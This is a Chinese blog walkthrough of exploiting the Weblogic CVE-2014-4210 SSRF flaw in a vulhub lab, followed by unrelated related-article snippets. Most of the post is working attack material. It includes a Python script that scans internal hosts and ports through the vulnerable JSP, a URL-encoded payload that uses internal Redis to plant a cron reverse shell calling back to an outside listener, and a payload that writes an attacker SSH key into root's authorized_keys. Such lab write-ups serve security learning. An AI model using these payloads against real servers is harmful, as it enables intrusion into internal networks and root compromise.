weblogic CVE-2014-4210 SSRF漏洞

news/2024/11/7 18:45:19/

CVE-2014-4210 SSRF漏洞

Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中Redis、Fastcgi等脆弱组件

该漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp

SSRF:服务端请求伪造,伪造存在该漏洞的服务器对外发送请求,攻击者可以利用该漏洞对内网不对外开放的服务器进行攻击,如Redis和Fastjson

检测漏洞

①直接用weblogicscan扫描

②测试一下

漏洞修复

Weblogic SSRF 漏洞出现在 uddi 组件(所以安装Weblogic时如果没有选择 uddi 组件那么就不会有该漏洞),
更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。
所以修复的直接方法是将 SearchPublicRegistries.jsp 直接删除就好了

脚本

import requests
url ="http://xxx.xxx.xx.xxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp" #漏洞地址
ip="172.17.0"#内网网段
ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]#常见端口
for i in range(1,255):for port in ports:params = dict(rdoSearch = "name",txtSearchname = "sdf",selfor = "Business+location",btnSubmit = "Search",operator = "http://"+ip+".{}:{}".format(i,port))#构造operatortry:r = requests.post(url, params=params, timeout = 3)#发起POST请求if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:print('[*] http://'+ip+'.{}:{}'.format(i, port))else:passexcept:pass

利用链——定时任务反弹shell

  1. 首先尝试是否可以不登陆进入/uddiexplorer.war/SearchPublicRegistries.jsp,并且随意输入一组数据search一下

    image-20230411114601986

    看到如上图红框所示,向该网址请求数据了,大概率存在SSRF漏洞

  2. 抓个包看看这个wwwxxxx是从哪来的

    image-20230411114931387

    如图,看到在请求时post传了个oerator,其中url编码了但是隐约可以看出来是www-3xxxx

    所以我们给他解码,然后用hackbar进行尝试

    operator=http://www-3.ibm.com/services/uddi/inquiryapi&rdoSearch=name&txtSearchname=22&txtSearchkey=22&txtSearchfor=22&selfor=Business+location&btnSubmit=Search

  3. 将operator的值改为http://127.0.0.1:7001

    image-20230411133110899

  4. 将operator的值改为http://127.0.0.1:7000

    image-20230411133220998

  5. 用上述3/4的方法可以判断weblogic服务器开启的端口

    此外,还可以进行存活主机探测,但需要提前搞到weblogic服务器所在网段,可以使用其他漏洞或信息收集搞到

    如果搞不到网段直接探测效率极低

    我的靶场部署到vps上,网段为172.17.0.x/24,且开启了一台redis服务器

    将operator的值改为http://172.17.0.1

    image-20230411133653789

  6. 再随便搞个不存在的主机http://172.17.0.12

    image-20230411133800006

  7. 接下来就是搞脚本批量扫了

    脚本前面写啦,直接运行

    image-20230411134257398

    可以看到已经扫出6379啦

  8. 由于一些问题后面的redis网段变了一下,但是是一样的

    用网页访问一下

    image-20230411220824432

    这就说明成了,可以尝试利用了

  9. 既然探测到6379(redis),就要想办法利用了

    redis可能存在未授权访问漏洞,同时redis默认是不对外开放的,意思就是说只有内网可以访问redis服务器,外网访问不到,这时候就体现出了SSRF请求伪造漏洞的作用

    就算redis服务器上一堆漏洞未修复,但是你访问不到,根本就不对外开放,你也没有任何办法,只能眼巴巴的瞅着

    这时候你发现了一个SSRF漏洞而且和redis是同内网的!

    我敲,这不聊次一下都说不过去

    简言之就是,SSRF可以以存在该漏洞的服务器的身份访问内网,相当于一个连通内网的跳板

    image-20230411140802018

  10. 接下来就是利用ssrf搞内网redis了

    ps:我的VPS出问题了,shell弹不出来不知道为啥,玄学问题,所以后面就直接用本地kali演示了,IP地址也发生了一些改变

    然后kali也出问题了,docker拉取的vulhub拉取的weblogic/ssrf 镜像,启动后只启动了weblogic,redis起不来,很怪异

    这玩意恶心了我两天,终于在今天解决了!

    ps:网上找不到类似的问题,很难受

    问题原因是因为高版本kali内核的问题好像

    先 vim/etc/default/grub

    image-20230413144236974

    如图修改值为"vsyscall=emulate"

    然后update-grub

    最后reboot

    重启后就可以开启redis的容器了,可喜可贺

    redis:172.19.0.2 端口6379

    weblogic:172.19.0.3 端口7001

    kali:192.168.27.137

    特意选了不同网段,模拟一下外网攻击内网机器

    破案了,应该是我VPS的NC有问题,接收不到shell,回来再修吧,继续实验

    payload:

    到这一步其实就和redis定时任务反弹shell一样了,因为某种原因redis未授权我还没上传想了解的可以搜搜大佬的

    先构造一手redis定时任务反弹shell的payload

    set x “\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n”

    config set dir /var/spool/cron

    config set dbfilename root

    save

    下一手就是通过ssrf执行了,需要url编码一下

    operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi

    &rdoSearch=name&txtSearchname=11&txtSearchkey=11&txtSearchfor=11&selfor=Business+location&btnSubmit=Search

    还记的这个不,这个是weblogic SSRF存在的漏洞点,我们需要利用operator这个参数

    重新构造一下operator

    operator=http://172.19.0.2:6379/textset x "\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n"config set dir /var/spool/cronconfig set dbfilename rootsaveaaaa
    

    这里的/text是随便加的,然后需要url编码一下

    operator=http%3A%2F%2F127.0.0.1%3A6379%2Ftext%0D%0A%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20sh%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.27.137%2F8023%200%3E%261%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0A%0Aconfig%20set%20dbfilename%20root%0D%0A%0D%0Asave%0D%0A%0D%0Aaaa

    注:换行符是%0D%0A

    最后先开启监听8023端口,然后在burp中修改operator的值为payload,发包,等待漫长的一分钟

    image-20230413152409964

    成功getshell!

    可喜可贺可喜可贺!!!!!

写入ssh公钥反弹shell

这个就很简单了,只需要更改payload为写入公钥就行了

其实这里就是redis未授权了,就是用ssrf连一下redist而已

  1. 生成公钥

    kali中输入

    ssh-keygen -t rsa

    默认目录,密码为空(全直接回车即可)

    image-20230413152852891

  2. 查看公钥

    cat /root/.ssh/id_rsa.pub

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali

  3. 构造payload

    operator=http://172.19.0.2:6379/textset x "\n\n\n\n AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali \n\n\n\n"config set dir /root/.sshconfig set dbfilename authorized_keyssaveaaaa
    
  4. 转url发送

    http%3A%2F%2F172.19.0.2%3A6379%2Ftext%0A%0A%0A%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn%20AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D%2FX%2BuapOcFw2%2FPuxfSet45fiWdnQQoI4WHVZBAhturHiM%2Ff9JNZgTmCO42jtPC%2BolHG6RA5JBolBtki3%2BsWUv%2F6LrTECrnueU%2BFqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr%2BzPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW%2BvPestFTkzQ%2FBHvGWdSmVoYq%2FDxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg%2BqJ9AneHwIn5EXYLrXlXBL%2BJRB9P0r5HzUQAjx0O8RWBUTE%2F%2BGGhuAs9SMZE9OunDdzaigxXUlmdh%2BXRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK%2FVXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud%2Be7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH%2BlvvkHWFMuW70XpBhJVkR9ank%3D%20root%40kali%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Froot%2F.ssh%0D%0A%0D%0Aconfig%20set%20dbfilename%20authorized_keys%0D%0A%0D%0Asave%0D%0A%0D%0A%0D%0A%0D%0Aaaaa

很可惜,vulhub中的redis镜像没有ssh,所以测不了,不过redis测过啦,跟反弹shell差不多应该没啥问题

这个实验搞的我身心俱疲,先是用的VPS搭建vulfocus,出现redis不回数据的问题,搞半天;然后直接VPS拉取vulhub的镜像出现连接不到反弹shell的问题(但是成功写入了,其实也算完成实验了),最后本地搞出来啦,结果没有ssh,猛男哭泣!


http://www.ppmy.cn/news/74423.html

相关文章

SpringBoot开发实用篇1

一、热部署 1.手工启动热部署 经过测试当前是没有启动热部署的: 再将sout的信息多复制几份,刷新功能,发现控制台还是只打印一行信息。说明当前热部署是没有生效的。 手动开启热部署: 在pom.xml文件中加入开发者工具配置热部署…

组合预测模型 | ARIMA-CNN-LSTM时间序列预测(Python)

组合预测模型 | ARIMA-CNN-LSTM时间序列预测(Python) 目录 组合预测模型 | ARIMA-CNN-LSTM时间序列预测(Python)预测结果基本介绍程序设计参考资料 预测结果 基本介绍 ARIMA-CNN-LSTM是一种结合了传统时间序列模型和深度学习模型的…

OPPO哲库事件 “ 始末 ” ! 集体打哑谜?

1►OPPO哲库解散 2019 年,美国商务部以“科技网络安全”为由,将华为公司及其70家附属公司列入出口管制“实体名单”。与此同时,OPPO 创始人兼 CEO陈明永对外宣布,公司将为未来三年内投入 500 亿元用于前沿技术和深水区技术的探索…

交错网格与完全匹配层:提升波场模拟效果的双剑合璧

目录 交错网格(Staggered Grid) 完全匹配层(Perfectly Matched Layer) 大家好,欢迎来到这次的博客文章。今天我们将介绍在波场模拟中应用的两个关键技术:交错网格(Staggered Grid)…

微软收购暴雪战未结束;迪士尼流失 4 百万用户;苹果 iPhone 销量增长;国际旅行回暖机票订单火爆;美国年通胀率再次下降 | 经济学人第 20 周

文章目录 苹果 iPhone 销量增长,但总体收入下降微软收购暴雪战未结束迪士尼流失 4 百万用户美国年通胀率再次下降国际旅行回暖,机票订单火爆瑞银认命首席执行官,完成对瑞士信贷的最终收购最后 苹果 iPhone 销量增长,但总体收入下降…

IMU和GPS融合定位(ESKF)

说明 1.本文理论部分参考文章https://zhuanlan.zhihu.com/p/152662055和https://blog.csdn.net/brightming/article/details/118057262 ROS下的实践参考https://blog.csdn.net/qinqinxiansheng/article/details/107108475和https://zhuanlan.zhihu.com/p/163038275 理论 坐标…

springboot+jsp+javaweb学生信息管理系统 05hs

springboot是基于spring的快速开发框架, 相比于原生的spring而言, 它通过大量的java config来避免了大量的xml文件, 只需要简单的生成器便能生成一个可以运行的javaweb项目, 是目前最火热的java开发框架 (1)管理员模块:系统中的核心用户是管…

20.04Ubuntu换源:提升软件下载速度和更新效率

在使用Ubuntu操作系统时,一个常见的优化措施是更改软件源,以提高软件下载速度和更新效率。软件源是指存储软件包的服务器,通过更换软件源,你可以选择更靠近你所在地区的服务器,从而加快软件下载速度,并减少…